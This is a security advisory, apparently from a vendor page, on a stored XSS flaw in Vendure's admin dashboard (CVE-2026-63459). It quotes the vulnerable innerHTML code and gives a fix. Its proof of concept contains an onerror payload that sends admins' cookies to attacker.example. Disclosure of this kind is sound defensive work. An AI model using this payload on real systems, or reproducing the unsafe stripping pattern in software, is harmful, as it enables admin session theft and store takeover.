Summary
Vendure has stored XSS in the Admin Dashboard via unsafe HTML-stripping (innerHTML) of entity descriptions
Stored XSS in the Admin Dashboard via unsafe HTML-stripping (innerHTML) of entity descriptions
Package: @vendure/dashboard (vendure-ecommerce/vendure, latest master) ·
The dashboard's RichTextDescriptionCell "strips HTML" from an entity's description by assigning it to a live element's innerHTML and reading back textContent. This pattern still executes active markup: a description containing <img src=x onerror=…> runs script when the element is parsed (image resource loads even on a detached node in Chromium/Firefox, firing onerror). Because description is an admin-settable field shown in multiple list views, a lower-privilege administrator can store a payload that executes in a higher-privilege administrator's browser when they open the corresponding list, stored XSS leading to admin-session compromise.
Vulnerable code
packages/dashboard/src/lib/components/shared/table-cell/order-table-cell-components.tsx
export const RichTextDescriptionCell: DataTableCellComponent<{ description: string }> = ({ cell }) => {
const value = cell.getValue();
const textContent = useMemo(() => {
if (!value) return '';
const div = document.createElement('div');
div.innerHTML = value; // line 51, parses/loads active markup; <img onerror> fires here
return div.textContent ?? ''; // line 52, reading textContent does NOT undo the side effect
}, [value]);
...
}
innerHTML does not run <script>, but it does trigger resource loads / event handlers such as <img src=x onerror=...>, <image>, <svg> handlers, even on a detached element, so the assignment itself is the sink. Reading textContent afterwards is irrelevant; the handler has already executed.
Reachable from (all use this cell for the description column)
_products/products.tsx:53,_collections/collections.tsx,_promotions/promotions.tsx:62,_payment-methods/payment-methods.tsx:57,_shipping-methods/shipping-methods.tsx:39.
All of these are description fields editable by administrators with the corresponding catalog/promotion/settings write permissions, which, in Vendure's multi-channel model, includes channel-scoped admins.
Proof of concept
- As an administrator with
UpdateCatalog/UpdateProduct(e.g. a channel-scoped admin), set a Product'sdescriptionto:<img src=x onerror="fetch('https://attacker.example/'+encodeURIComponent(document.cookie))"> - Any administrator who opens the Products list in the dashboard renders
RichTextDescriptionCellfor that row →div.innerHTML = description→ theonerrorexecutes in their session. - Payload runs with the viewing admin's privileges (e.g. a superadmin) → session/token exfiltration or admin actions → cross-privilege / cross-channel admin takeover (chains directly with the channel-scoping IDOR class already reported).
Impact
Stored XSS executing in administrators' browsers, escalating a low-privilege (e.g. single-channel) admin to actions as any admin who views the affected list. Account/store takeover.
Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.
CVE-2026-63459 has a CVSS score of 8.7 (High). The vector is network-reachable, low privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.6.5); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Strip HTML with an inert parser (no script/resource execution) instead of a live element, or sanitize before display:
// inert: DOMParser documents do not execute scripts or load resources
const textContent = new DOMParser().parseFromString(value ?? '', 'text/html').body.textContent ?? '';
(Or render with a vetted sanitizer such as DOMPurify if rich text must be shown.) Audit the codebase for other element.innerHTML = <untrusted> assignments used for "stripping".
Frequently Asked Questions
- What is CVE-2026-63459? CVE-2026-63459 is a high-severity cross-site scripting (XSS) vulnerability in @vendure/dashboard (npm), affecting versions < 3.6.5. It is fixed in 3.6.5. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
- How severe is CVE-2026-63459? CVE-2026-63459 has a CVSS score of 8.7 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of @vendure/dashboard are affected by CVE-2026-63459? @vendure/dashboard (npm) versions < 3.6.5 is affected.
- Is there a fix for CVE-2026-63459? Yes. CVE-2026-63459 is fixed in 3.6.5. Upgrade to this version or later.
- Is CVE-2026-63459 exploitable, and should I be worried? Whether CVE-2026-63459 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-63459 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-63459? Upgrade
@vendure/dashboardto 3.6.5 or later.